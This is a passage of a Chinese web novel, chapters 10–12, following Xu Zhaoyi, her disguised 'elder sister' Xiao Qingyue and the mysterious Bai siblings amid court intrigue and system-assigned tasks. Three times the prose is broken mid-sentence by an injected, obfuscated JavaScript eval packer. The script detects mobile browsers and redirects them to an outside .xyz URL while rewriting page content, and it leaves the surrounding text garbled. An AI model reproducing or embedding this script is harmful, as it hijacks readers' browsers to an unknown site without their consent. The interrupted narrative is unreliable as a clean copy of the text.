徐昭意下意识觉得白轻落不对劲,本想保持沉默诈一诈他,却不料他转头给自己抛出了一个问题。 她敛下眸底沉思,面上不动声色。 “医绝,汇祥阁所得钱财大都行了医术善事。”庶姐忽而开口,笑眼好似蜜蜡化水,“阁主犹擅幼科,多行义举,专治五迟之症。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749904|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 徐昭意讶然望去,她都不知这件事,她这个阴山来的庶姐却对汇祥阁了如指掌? 圆润指尖不经意插进掌心,带来一丝刺痛。 真不愧是女主啊。 “五迟之症是哪五迟?”白轻落凝神盯着萧青越,向来含笑的唇紧紧抿着。 众人都发现了一丝不对劲。宋大郎君瞅瞅面前对峙的三人,又瞥过一旁不断释放黑气压的二殿下,明智选择作壁上观。 “五迟者,立迟、行迟、发迟、齿迟、语迟也。此五迟乃菩萨娘子玉兔东升时,挑灯夜读之作。” 萧青越说完,含笑眼眸转向徐昭意,忽然道:“父亲闻阿妹几日前不慎发热,忧心忡忡,特令我在一旁看护。现今阿妹玩了不少时日,也该随我回府了。” 徐国公这一招牌压下来,众人反应不一。宋大郎君知晓徐大娘子答应他的缘由,而徐昭意却下意识蹙眉。 “你想回去也别拉着我们昭意呀!”卢平丹气哼哼瞪着萧青越,双手叉腰,大有一副“我拦在这里看你怎么办”的架势。 【凤凰游系列任务一:帮助男二斗诗赢男三。进度条:100%】 【恭喜宿主完成任务,请再接再厉!】 徐昭意拒绝的话咽下去,转而拍拍卢平丹的肩膀,摇了摇头,又朝萧青恒等人行礼道别。 在众人依依不舍的目光下,她笑着走向萧青越,“阿姐走吧。” 萧青越扫过众人一眼,带着徐昭意上马车。 在他身后,白轻落目光怔怔,一直用余光注视他。 徐昭意不动声色观察这一切,只觉得愈发不对劲。 为何阿姐一说离开汇祥阁,任务就完成了? 按白轻落这个神态来说,她离完成还差得远才是。 回府后,徐昭意第一件事就让凝露找人监视庶姐。 凝露不仅是她的贴身婢女,还是她娘留下势力的领袖。她平日里看着傻乎乎的,可做事时候却从未失手过。 可一直到深夜,庶姐院子里依旧没有传来任何响动。 阿娘留下来的势力是一支武力极高的暗卫,自外祖家继承的,平日里少有敌手。按理说,阿姐若有什么响动,是瞒不过那些人耳目的。 徐昭意托腮望着窗边夜景,暗夜无云、星子寥落。房内的烛火颤动,她扫了眼快烧完的红烛,示意花尽熄灯歇息。 夜已深,她在一片漆黑中茫然睡去。 另一边,汇祥阁从未对外开放过的最顶楼,此刻缓缓地打开它那扇雕花木门。 满室药香中,端茶浅饮的人赫然长着一副观音面。 “你来了?”白轻落目光犹疑地打量着来人。 来人着一袭紫绡银泥曳地长裙,眼尾飞红、唇似抹血,明明是一副艳俗打扮,偏偏给她穿出几分贵气来。 正是徐大娘子。 见徐大娘子不说话,白轻落眸光一转:“徐大娘子深夜到访,想必有要事告与在下。不知大娘子想与在下说些什么?” “雄兔脚扑朔,雌兔眼迷离;双兔傍地走,安能辨我是雄雌?”萧青越悠悠诵诗,垂首抿茶。 再抬首时,他挑眼瞥过抿唇的白轻落,复又笑道:“我是在说我自己。” 他的嗓音微微低沉,不再复先前那般雌雄莫辨的玉质。 白轻落笑容和煦:“所以阁下是......” “不用试探了,”萧青越垂眸盯着盏内水波,“你背后的人跟你说过,今日内将白梅送给当场最妍丽的娘子,随后找个机会与她斗诗,看她能否念出那首诗来。若能念出来,找个机会与她约夜晚的时间共商大计。” 白轻落骇然,情不自禁看向窗外:“那为何?” “我也不知我那个妹妹从哪里知晓我今日的行程和这首诗的。” 萧青越眸底情绪幽幽:“但你不必操心此事。你只需查明宋家账目,在一月后交于一个头戴赤狐半面的少年手中,我自有大好前程送你。” 面前人垂眸转茶盏,看似懒散阴郁,不经意抬眸时却有种无法忽视的锐利,似某种正在冬眠的猛爪生物。 白轻落收敛笑意:“属下遵命。” “也不必这么紧张。”萧青越笑了笑,似是想到什么好玩的事情,“贵妃即将苏醒,你这般得罪她儿子,还是想想怎么应付那个女人吧。” “这个简单。”白轻落淡下眸光,唇边带着若有似无的讽意。 10. 云记药铺 翌日清晨,端贵妃娘娘昏迷数日后终于清醒,满宫的喜气顺着玄武街传到汇祥阁,那大名鼎鼎的白郎君终于入了圣贤眼,现今收拾收拾东西,准备进宫。 “娘子不可随意翻墙啊!老夫人会责怪的!” “怕什么,万事都有你家娘子担着,你尽管跳就是了!” 嗖的一声响,卢平丹放下怀里的小舟,绕过卢家围墙,鬼鬼祟祟走向另一条街的徐国公府。 “那白郎君好歹是为昭意才与二殿下对上的,咱们不能见死不救。”卢平丹拉着小舟的衣袖,小嘴噼里啪啦。 “二殿下就听昭意的话,我得去找她想想办法......” 话音被一阵撞击疼痛止住,打眼一瞧,一个白衣飘飘的女子正急得连连低头道歉。 卢平丹刚准备说“没关系”,一阵清苦药香忽而飘进她的口鼻,惊得她盯着女子半掀帷帽下的观音面猛瞧。 “我知道你是谁!” 女子连忙掀帽,遮住一双略带惊慌的清澈凤眸。 “你好美呀!可是白郎君的妹妹?”卢平丹忍不住围着这女子瞧。 这女子的身姿本就骨瘦伶仃,现下被白纱帷帽一遮,乍然望去倒像是神妃仙子下凡,不多时便要飘然离去。 她平生有三大爱好,练武乃第一爱好,剩下的爱美人与爱熏香并驾齐驱。 她从未见过这般符合口味的美人,比昭意妹妹和芙蓉香更得她心。 若说昭意妹妹像春日飘飞的柳絮,那这个美人就像是慈眉善目的活菩萨,将自己的血肉割尽只为造福大家。 她的美是病体支离的美,也是令卢平丹心醉的美。 这女子似是被卢平丹的热情吓到了,呆愣半响也没有言语。 卢平丹讪讪一笑,知晓自己唐突,便对着手指头,又耐不住性子问道:“请问娘子姓甚名谁?” “我是......白郎君的妹妹,”她的嗓音比寻常女子更低沉,却是超乎意料的好听,“我名云疏,与‘薄雾浓云愁永昼’相对。” 卢平丹听不懂什么是“薄雾浓云愁永昼”,但她单纯觉着这名字好听,便笑着称赞道:“这名字可真好,就像......” 她拧了会儿眉,余光忽而瞟到蓝天。今天是难得的冬末暖阳天,万里无云。 她双眼一亮,急忙指天:“跟这天空一样!” 白云疏一怔,随后不可遏制笑起来。她笑着笑着,突然又咳起来,面色青白煞是可怖。 卢平丹本来痴迷于白云疏的美貌,谁曾想出这岔子。她急忙准备给人家拍背,手还没下去,一道高喝的清丽嗓音忽而制止她。 “等一下!”徐昭意提裙小跑,一旁的凝露比她更快抓住卢平丹的手臂,“你这样会让她更难受的!” 卢平丹讪讪收回手。她看着凝露从地上拾起一根枯树枝,叫那女子撑着,待女子撑好后,这才帮她拍了几下背。 白云疏的面色眼看着好转,卢平丹默默走到徐昭意身旁,好奇道:“为何要提前给她一根树枝?” 徐昭意看向白云疏,柔声笑道:“那你可要问问菩萨娘子了,立迟这个症状是她研究出来的。” “胎里带来的不足之症罢了。”白云疏撑着树枝缓了几分,简单解释一二。 “菩萨娘子?”卢平丹总觉得在哪里听过。 徐昭意敲她额头:“阿姐昨日才说过的!” “哦——昭意妹妹还挺关注你那个庶姐的嘛,我吃醋了。”卢平丹捂着额头,话风一转开始赖皮。 徐昭意抽了抽唇角,懒得理她,继续看向白云疏,“娘子这下可好些了?” 白云疏抚着胸口,苍白的唇微勾,轻轻点头示意。 徐昭意第一次见到比她还病弱的人,她沉吟一下,拍拍卢平丹的肩膀,叫她去搀扶白云疏。 白云疏连连摇头,后退时却因为太急,差点便摔了,还是卢平丹扶住她。 卢平丹仰头望着比自己高一整个头的白云疏,连连叹道:“白姐姐是吃什么长大的呀?怎么能这么高?我身边就没有这么高的小娘子......也不对!” 她不怀好意瞅了眼一旁观赏身高差的徐昭意,嘻嘻笑道:“昭意的姐姐比你还高!昭意连她姐姐的肩膀都够不到!” 徐昭意登时笑了,声线是前所未有的柔和,“平丹......若我没记错的话,你是偷跑出来的吧?” 卢平丹顿时闭嘴,老老实实将白云疏送进她指定的药房。 送入药房后,徐昭意却不急着走。她转而找张凳子坐下,托腮望着白云疏,笑眯眯道:“白娘子,我有一事不解,还望娘子解惑。” 白云疏命婢女带两人的婢女下去歇息,又亲自为两人倒水添茶,待袅袅茶香升起后,这才道:“徐娘子问吧,我定当知无不言、言无不尽。” 徐昭意扫过她捏紧的指骨,眉眼带着无害浅笑:“白娘子不必紧张,我先前受过白郎君恩惠,一时不知如何回报,便想问问白郎君喜欢什么,我也好提前准备,届时登门道谢。” “登门道谢倒不必了。”白云疏一顿,“兄长喜欢高记的肉松青团,若娘子想道谢的话,不妨买一盒青团交与我,我帮你送与兄长。如此也避免登门被人看见,误了娘子闺誉。” “高记的肉松青团?他家确实好吃,艾草糯米皮软糯,肉松甜咸适中。”徐昭意视线紧紧罩在白云疏脸上,“最绝的是,他家似乎用的云记药铺的艾草,食之可温经散寒。” 白云疏讶然:“娘子还懂医术?” 徐昭意微微一笑:“观娘子面相,似是阳气虚衰、寒气内侵导致的体弱。我听闻云记药铺近日出了一种新药,专治这种症状......” “阿妹!”一道雌雄莫辨的少年音打断她的话,一点红痣轻闪,骤然露出一张含笑观音面。 “两位娘子怎在阿妹这处?我竟不知你们有这交情。” 徐昭意扫过白轻落鬓角薄汗,漆黑眼眸闪过微光:“我与卢妹妹路过白娘子,觉着投缘,便不请自来坐下了,还望白郎君见谅。” 白轻落还待再说什么,一旁端坐的白云疏拍拍他的肩膀,又转向徐昭意。 “我身子弱,兄长一向不放心我,还望徐娘子见谅。” 徐昭意看着白云疏,她哪怕坐着也明显比白轻落高。虽说是妹妹,可那周身的淡然气度却更像姐姐。 “白娘子不愧为菩萨娘子。”她意味不明地笑笑,转身拉起一旁盯着白云疏发呆的卢平丹,“今日是我二位打扰了,还望白郎君与白娘子见谅。” 说完,她又冲白云疏俏皮眨眼:“我下次来,会带上高记的肉松青团的。” “现在能吃青团?”卢平丹下意识咽了咽口水。 一年只有四月份会吃青团,现下才二月初,怎么会有青团呢? 徐昭意瞥她一眼,又是好气,又是好笑道:“别总惦记着那些吃的,咱们得走了。” 卢平丹眨眨眼,将视线艰难地从白云疏脸上挪开,一步三回头跟着徐昭意离开。 待满室芙蓉花香淡去,白轻落收回目光,皱眉看向白云疏:“方才那卢娘子......” “她在路上救了我。”白云疏垂首饮茶,声线是一贯的柔和,“你呢?在宫里如何?” 白轻落揉着太阳穴,目光厌烦:“那贵妃娘娘醒来后的第一件事,就是要为我赐婚,将她那个深陷丑闻的表妹指给我。” 白云疏豁然抬首,声调却不变:“她许诺你什么了?”见白轻落皱眉不答,她又稳稳问一句。 白轻落嗓音淡淡:“以商户之子的身份入政事堂。” 政事堂乃朝堂核心办公之所,徐国公自战场归来后,便被授予“同中书门下平章事”,勉强混进了核心文官圈。 平日下直后,他总会留会儿,与那些文官打好关系。 可今日他却是径自离开政事堂,连别人邀他喝酒也直言拒绝,回府便奔向青鹿苑。 “殿下,端贵妃才醒来便又要作妖。她准备往政事堂塞人!” 萧青越收回望向窗外的目光,把玩腕间银镯,笑容古怪:“云记药铺那小子?” 徐国公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749905|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一怔,点头道:“现下政事堂三派形成平衡之势,听闻她想将那小子塞进户部,若真让她成功了,局势将对我们不利。” 政事堂现今由暗中支持太子的老臣、支持二皇子的贵妃派,和保持沉默的纯臣组成,看似是三派相互制衡,可纯臣派实际只听陛下号令,陛下的心从根子就是歪的。 他现下只是没提换储一事。若陛下真要提,那纯臣派便也不会那么中立了。 所以太子一派的人只能尽量往政事堂添自己人,而不能放任何一个非己派人员进来。 烛焰在琥珀色的眸底跳动,仿佛黄昏困住的最后一缕阳光,挣扎着散发橙红残光。 银镯撞上腕骨,凌凌作响。 “让她折腾吧,我自有打算。” 徐国公扫过对面人微阖的眸子,发凉脊背渐渐松缓。 “既然殿下有打算,那臣便不多言了。” 萧青越点点头,就在徐国公即将离开时,他忽而开口:“徐大人既是我名分上的父亲,便无需过拘于礼,以免外界看出端倪。” 徐国公一怔,而后更加恭敬:“殿下虽然放下身段亲近臣,但臣却不能忘了做臣子的礼节和本分。”说罢又行了一礼,这才告退。 萧青越目送徐国公远去,正欲收回目光时,又冷不丁望向窗外那架废置的秋千。 青鹿苑有架维护良好的秋千,据说是已逝梅夫人亲手给女儿搭建的。 十指不沾阳春水的大才女,为了满足女儿愿望,笑吟吟磨破指皮,与下人一起动手完成。 萧青越初来青鹿苑就听闻此事,但一直没正眼看过这秋千。 如今他忽然想起昨日徐昭意胜利时,望向他的灼灼眼神。 带着自以为藏得很好的挑衅和野心勃勃,还有浮于表面的无辜自得。 他的内心顿时涌起几分说不上来的情绪。 徐国公与梅夫人为人清正,却养出徐昭意这般虚伪弄权之辈,实乃家门之憾。 萧青越缓缓走到秋千旁,蹲下身,细细抚过那块中央有着浅浅凹陷的黄花梨木坐板。 坐板边缘磨得圆润光滑,显然是常年有人乘坐。 他曾听婢女闲话过,这个秋千陪着二娘子从孩提到及笄,整整十年都能荡得很高。 可自他来府的前一个月,横梁锦绳的丝线忽然松散,不再能坐人了。 如今这秋千只能看,却不能荡。 “听闻二娘子曾想过修复秋千,却没料到府上突然来了个大娘子,还一下占据了青鹿苑。自此之后二娘子再没提过这秋千了......二娘子也是心伤了。” “别提了,大娘子进府那日,不知哪个杂碎拿的青花瓷瓶,竟生生掉地碎成片片。那可是夫人留下来的,除秋千外二娘子最喜欢的宝贝! 二娘子难过极了,还亲自动手拾碎片、立雪坟。我也算是看二娘子长大的,她那双娇养的手从未受过如此大罪!” 婢女的窃窃私语犹在耳侧,萧青越抚过褪色的锦绳,忽而唤人买了根粗麻绳。 半个时辰后,他掂了掂手中沉甸甸的麻绳,放地后开始拆秋千。 “大娘子!” “娘子这不能拆!” “这是夫人遗物!” 几个婢女叽叽喳喳惹人烦,萧青越淡淡睨了她们一眼,待人闭嘴后继续动作。 他生得贵气,手上动作却麻溜利索。眼看着秋千重新被修好,一团白绒绒的东西忽而糊进眼睛,刺得眼睛疼痛又酸涩,不自觉流泪。 萧青越啧了一声,不顾前去拿帕的婢女,抬手把眼内的绒絮搓出来。 原本蓬松的绒絮缩成灰白绒球,全身湿嗒粘腻,细看还拖着细长的半透明涎丝。 婢女战战兢兢递来绢帕,他却低笑一声。 “真脏啊。” 他慢条斯理地擦手,帕子浸了水,又擦得格外仔细,直将指尖搓得发红。 可那点污迹仿佛渗进了皮肤,怎么都拭不净。 柳絮那般纤细柔弱的东西,若不及时清理,便会日渐纠缠成团,徒惹人厌烦。 11. 药铺倒闭 徐昭意刚一回府,花尽便捧着一个精致食盒出来,垂眉问道:“大娘子今早给您送了些吃食,您现下可要打开看看?” 徐昭意讶然扫过食盒,摇摇头,任由花尽脱狐裘,自个儿思绪却渐渐远飘。 今早起床还未清醒,系统就急忙发了个查找男三身世的新任务。徐昭意无奈之下只得出门,于是便有了后面那些事。 她现在只能凭借白云疏的反应,猜测他们与云记药铺关系匪浅。云记药铺是京城第一大药铺,生意遍布大江南北,奈何只是一介商户,始终登不上台面,连皇商也不是。 按理说身世查到这里也就够了,奈何系统始终没反应,被她催紧了才意思意思涨10%的进度条。 徐昭意百思不得其解,一路上都在想这些事。 “娘子!娘子?” 眼见徐昭意看来,花尽低头道:“大娘子来了,说是找娘子谈心。她现在被凝露拦在门外呢。” 顿了顿,她又道:“听闻大娘子还亲自动手将青鹿苑的秋千修好,没叫任何人帮忙。” 那架秋千......徐昭意心中泛起莫名滋味,面上却不显,只摸了摸花尽怀中的食盒,笑了笑,“不是说阿姐在门外吗?走吧,去迎迎阿姐。” 门被推开的刹那,天光挣扎着淡去,最后一丝夕阳正巧落在那道红衣如焰的身影上,晕出一副浓墨重彩的艳鬼图来。 “阿妹?”他的眼尾勾起一抹朱砂红,“那盒糕点味道如何?” 徐昭意又想起那架修好的秋千,唇边的话音一转,盈盈笑道:“阿妹才回府,还未曾打开过盒子。阿姐既来了,便与阿妹一道享用吧。” 面前少女若瓷娃娃般透明易碎,此刻却眸光闪亮,眼尾勾起不自觉的弧度。 倒比以前更有活人感。 萧青越欣然应下:“如此我便不客气了。” 徐昭意笑笑,带她去了会客的大堂,并在对面坐下。 “阿姐想同阿妹说些什么?”她用着惯常的温软笑容。 萧青越扫过花尽手上的食盒,抬首示意:“先打开看看吧。” 徐昭意见她如此,终于对食盒内的东西产生了一丝好奇:“什么糕点值得阿姐这般强调......” 话音在触见那团糕点时戛然而止。青绿色的外皮,软糯弹牙的触感,是绝不可能出现在二月初的青团。 见她惊讶,萧青越将青团往她那处推了推,耐心解释道:“我知阿妹想买青团,可这时节又不产艾草叶。为了满足阿妹心愿,我便去云记药铺买了些鼠曲草,花一早上时间才制成了这几颗青团。阿妹不若尝尝?” 他似是想起什么,又从袖中掏出一个折叠整齐的绢帕,小心打开露出青绿草叶背后的洁白绒絮。 “别说这鼠曲草虽无艾草苦味,可背后却爱长些绒絮,倒是格外像阿妹。” 鼠曲草又名清明草,可化痰止咳。但现在徐昭意看着它,却觉得嗓子一堵,半点没有医书里的神奇功效。 她是提过青团,但不是在府中,也不是在早上,而是临近中午在白云疏那个小药铺说的。 两者时间对不上,可偏偏结果如此凑巧,这让徐昭意不得不起疑心。 见对面少女沉默不语,萧青越又道:“阿妹不尝尝吗?” 徐昭意下意识露出一个柔和笑容,语调轻快:“阿妹方才被阿姐感动到了,这才怔了会儿神,还望阿姐见谅。” 萧青越微笑不语,只将青团往前边推了下。 徐昭意用指尖拈起一颗青团,小心咬一口,满嘴咸甜香味爆开。 青团被咬了一小口,外皮微微湿润,边缘握着的指尖却嫌弃微缩。 萧青越凝视这一切,缓缓笑道:“味道如何?” “好极了。” 徐昭意将青团彻底吞下,黏糊外皮沾满口腔,被她细细咽下。 她唤来花尽,拿湿帕净手,笑道:“还是我最喜欢的肉松青团,阿姐有心了。” “我这点心意比不上阿妹万分。阿妹上次送的金银花还未喝完,也不知阿妹在哪里买的,那效果真是好极了。”他揉着太阳穴,指尖蹭过眼尾胭脂,带着抹凌厉的红刺进徐昭意眼中。 她扯了扯唇角,面色照常温软,却是不语。 萧青越也不在意,他又将盒子往前推了推,这次盒子离徐昭意只有一线之隔,抬手便会碰倒。 “里面还剩三个,阿妹留着慢慢吃吧。” 徐昭意笑,将盒子抱在怀里,目送萧青越离去。待那片红色衣角彻底不见踪影,她这才扭头看向凝露,攥着盒子,指尖绷出点青色。 “把加派到青鹿苑的人暗中撤回一些,只留远处观察的那几人。” 凝露面色沉重,脆声应下。 徐昭意拂过食盒上精致的柳絮雕纹,顿了顿,转手交给花尽,温柔笑道:“放我寝居去吧,明日带给白娘子吃。” 花尽应诺离去后,大堂再无外人。徐昭意注视着指尖深深的月牙痕,心口发紧。 按说她已经阻断剧情,庶姐不可能再与男三有交集才对,可这青团又是怎么回事? 细密疼痛自心口处蔓延,渐渐覆盖全身,以至四处无力。 她靠着椅背喘气,缓了好久,这才能慢慢下地。 自绑定系统以来,这是她第一次发病。 她那个庶姐倒真是深藏不露。 * 翌日清晨,还没等徐昭意出发去药铺,另一则消息便传了过来——汇祥阁白郎君正式入翰林院。 据传宋相连夜入宫面圣向陛下推举人才。陛下本不想应承,可随后看着宋相呈递的几首诗,又改了主意,御笔一挥便赐下了“翰林学士”一职。 朝野上下人心浮动,纷纷暗中打听那几首诗是什么样的,那个人又是谁。想来这个惊动朝野的人才,就是汇祥阁的白郎君了。 徐昭意若有所思抚过食盒絮纹,打开一瞧,三个圆滚滚的青团并一个玉露团,三青一白倒也凑趣。 她拍拍身旁花尽的肩膀,带着赞赏微笑:“我记得库房钥匙归你管吧?去打开库房,挑个看得最顺眼的东西给我。” 花尽怔然但也没多想,只低头应声匆匆离去。没多久又归来,手里还抱着一个檀木雕花镂空笔盒。 徐昭意扫了眼笔盒,却没接,只笑道:“这是赏你的,你自个儿收下吧。” 花尽瞪眼,下意识想要推拒,一旁看热闹的凝露却已经眼疾手快地拉住她,嘻嘻笑道:“你跟在娘子身边的时日短,不知道娘子的菩萨心肠。你可去问问,但凡被归为娘子自己人的,谁没几件娘子宝库的东西?花尽姐姐快收下吧,也省得娘子悄悄给你塞进房里。” 凝露嘴贫但讲得格外在理。徐昭意没好气瞪她一眼,揉揉太阳穴,没多时也附和一句:“凝露说得在理。” 凝露笑得花枝乱颤,引得花尽也发笑。 徐昭意气得敲下凝露脑门,却是挠痒痒的力道,半点没有威慑力。 待两人笑够了,她这才气咻咻道:“这次出门,花尽跟着我就可以了,凝露不准去!” 凝露双眼发光,大声应是。 徐昭意看也不看她一眼,拉着花尽就走。 因着卢平丹对白云疏奇异的喜爱,徐昭意犹豫一会儿,还是顺路溜去卢将军府,将困在府里安分一天的卢平丹提溜出来。 两人一路说说笑笑,却在见到白娘子那个小药铺时,不约而同顿步屏吸。 徐昭意头一次认真打量这个小药铺,青瓦下悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749906|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂着乌木牌匾,上刻“菩萨铺”三字,听闻是众邻里因着她一贯以来的免费治疗而自发送的。牌匾下方的木门紧闭,门外围着几个膀大腰圆的家丁。 白娘子遇上事了。 【凤凰游叠加任务:请宿主前往白家救人。时限一月,进度:0%】 听见任务系统音,原本对是否救白娘子一事心存疑虑的徐昭意挑眉,开始思考对策。 “你们在这里干甚么?你们把白娘子怎么样了?”一旁的卢平丹早已冲出去,柳眉倒竖怒喝。 那几个家丁面面相觑,其中一个最为壮硕的走出来,手臂粗壮、肌肉隆起,一看就不好惹。他块头大,凶神恶煞望来时,大片阴影铺面。 “你们这些小娘子没事找我家娘子作甚?” 他凶,卢平丹也不甘示弱,叉腰道:“我们是白娘子好友,怎么从没听白娘子说过你们?” 其实她们也才认识两天,可为了以防万一,她得诈一炸这个家丁,看他有没有骗人。 壮硕家丁懒得解释,粗壮手臂若树干扫来,带起一阵刀刮似的风。 哗的一声,他被平地抡起,一下砸向地面。 卢平丹接过婢女小舟递来的绢帕,仔细擦过手指,把指尖擦红后,这才扫过剩下一众家丁。 “我怎么从没听白娘子说过你们?” 众家丁瞅瞅艰难起身的壮硕家丁,又看看气定神闲的卢平丹,有人已经有了想法。 “娘子误会了,我们都是夫人的家丁,夫人平日满地跑,两位娘子没见过我们实属正常。”一个中等身高的家丁出列,卑躬屈膝说着。 “夫人?”徐昭意喃喃。 “是,两位娘子既与我家娘子交好,应该也知晓她是云记药铺当家夫人的女儿。云记药铺有些特殊,当家的三年前逝去,此后夫人便承担家主一职,年年天南海北到处跑,团圆饭也难得吃一回。是以两位娘子没见过我们,那再正常不过。现下封锁药铺,实乃夫人迫不得已之举。我家娘子即将成亲,再来义诊,恐不大好。” “白娘子就要成亲了?” “如此便谢过贵府管事了。” 徐昭意客气笑笑,拉起一旁干瞪眼的卢平丹,转身疾步离去。 走出好长一段距离后,卢平丹迫不及待问道:“为什么不再继续问了?谁家母亲会封锁女儿药铺让她成亲?这明显不对劲嘛!” “你觉得不对劲的事情,别人也看得出来。白娘子救这么多人,很多人都是她的街坊,可为何他们没有出来打破砂锅问到底? 因为白夫人是白娘子的母亲,她带自己女儿回家成亲没有任何问题。这是私事,别人很难插手。更别提门口只有些大汉守着,没有任何挣扎痕迹,这说明白娘子是自愿的。” 徐昭意一口气说完,有些心悸,又道:“我知你担忧白娘子的下落,我也担忧,你且听我一计。咱们去翰林院找白郎君,那日他在乎自己妹妹的神情你也看见了,他若是知晓这件事,定不会善罢甘休。” 卢平丹听闻觉着有理,便也不再闹腾,只在徐昭意能承受的范围内又加快速度。 徐昭意走得急,心跳得愈发快。恍惚间,她感受到一股探究的视线自身上划过。 她摇摇头,甩开这个莫名其妙的想法,扶着花尽的手加快步子。 两人一股脑走到翰林院,一派婢女打听,却发现白轻落也被母亲早早唤回家。 兄妹两人都被母亲带回家,一副山雨欲来的态势。 徐昭意直觉她漏了一个关键信息点,奈何身体不给力,长时间的剧烈运动让她头脑发胀,几欲昏厥。 正午阳光被切成几块散落四周,天旋地转间,一双琥珀色的眼眸淬着冷意出现在她眼前,连纤长睫毛也染着金光。 12. 白家迷踪 她被接住了。 青天白日、众目睽睽下,被比她高了半个脑袋的姐姐单手抱住、扶起,还客观点评了句:“太瘦了。” 徐昭意面无表情稳住身形,后退一步,唇角弯起完美弧度,直视萧青越。 “谢谢阿姐。” “但阿姐怎么在这里?”她语调很平,只能从尾音细微的波动处听见端倪。 萧青越弯起眼睛,瞳里似冰化水:“路过。” “你们现在关系这么好了吗?”卢平丹忙不迭跑到徐昭意身边,视线在乍然如沐春风的人面上打了个转儿,凑近她耳边疑惑问道。 “这个问题得问阿姐。”徐昭意盯着萧青越笑,“阿姐跟了我们一路,是想干些什么呢?” 那竟然不是她的幻觉,而是真有人用探究的视线尾随了她们一路。 这人就看着她们狼狈走路,也不提捎她们一程,等她快狼狈晕过去了,这人才施施然扶她起来。 心脏处又泛起细密疼痛,好像一遇上她这个阿姐,她的心脏就要受罪。 这般一想,徐昭意唇边笑意加深,愈发温软:“可是父亲有什么吩咐,叫阿姐来唤我?” 出人意料的,萧青越并未顺坡下滑,反而往前一步,在离徐昭意五个拳头的位置停下,微微俯身,轻声道:“你们不是要找白家兄妹吗?我可以提供线索。” 徐昭意盯着那双琥珀色的眼眸,平常人说这句话,眼底不是有所图就是笃定。可偏偏她这个所谓的姐姐,眸底一片荒芜,好似一时兴起,根本不在意她的回应。 她向来能屈能伸、处事圆滑,旁人形容她为闺秀典范不是没有原因的。寻常闺秀阴阳她,她只掩唇一笑,以礼相待;自家下人不服管教,她只以理服人,恩威并施;宗室子女为难她,她只借力打力,以智破局。 可如今遇到姐姐后,她的一切功力都仿佛失效了。她不再不动如山,反而像个失败者那样,心底涌上一股无能的挫败感和不满。 “不用,”徐昭意稳定声音,面上微笑,行了标准一礼,“阿妹不敢劳烦阿姐。” 萧青越眨眼:“阿妹真的不要吗?若这次不答应,阿妹下次再来问时,我当是要收些报酬的。” 他越这样说,徐昭意心底的火越旺。她猛然抚过面前人垂落的发丝,拉近五个拳头的距离,指尖擦过耳尖,将他的发丝挽在耳后。 没等他推开她,她率先后退几步,冲着怔神的萧青越摆手:“阿姐的好意我心领了。” 随后拉起卢平丹,招来花尽和小舟,一群人往一旁歇脚的茶馆走去。 茶馆内热热闹闹的,往来之人不是穷翰林、贫监生,就是赚了点小钱的小商户。 现下乃下朝时分,人们簇在一团,讲着方才的笑谈。 “大家伙儿可看见了?那白学士竟这般怕自家老母,不过一句‘夫人请少爷归家’,他竟立刻抛下与咱们的约定,马不停蹄跟着那管家走了。” “那可不,就是不知那宋家娘子知晓此事后,是否还愿意嫁给这等窝囊废。” “这怎么能叫窝囊废呢?本朝以孝为先,白学士孝敬老母,乃我等之榜样......” “各位大人打扰一下,请问白大人跟着管家往哪里走了啊?” 一道柔和声音插进来,众人转头看去,只见一个眉眼清丽的华服少女探头望来,她的身后还站着两个美若天仙的娘子。 众人一时看呆了去,只原先被打断的人喃喃道:“东边......” 花尽点头致谢,随即小跑到两位娘子身边,领着她们离开。 “此等美人,竟也是来找白学士的......” “白学士再怎么说,那也是陛下钦定的大才子,与我等终究不同啊!” 此话一出,众人静默片刻,纷纷闷酒消愁。 另一侧的花尽带着两位娘子往东边走,可越走人烟越稀少,到最后巷子走到尽头,她们面前便只剩一道巍峨朱墙。 墙根爬满苍苔,泛着湿漉青黑。一座孤宅在墙后沉默矗立,高挂牌匾上,“白家”二字刷金漆,高门绿环、佛语檀香,出墙槐枝虬曲如鬼手,风过摇新叶,落在阶前青石板上。 明明是正常高门大户的模样,偏偏只闻梵语声,不闻沸腾人声,檀香浓郁到诡异。 尽管早春渐暖,卢平丹裸露在外的肌肤依旧泛起一层鸡皮疙瘩。她摸了摸手臂,平生第一次没了艺高人胆大的念头,只想快点回府。 徐昭意瞧出了其余人的不安,凝神打量了“白家”两字,觉得有些熟悉,却也不知在何处见过。 她到底转身,带几人买了点糖糕,慢吞吞地吃回府。 后续几天她没再叫卢平丹,只带了凝露再来打探。可惜这座宅院附近没有一户人家,这座宅院在这几天里竟也没有出来一个人。 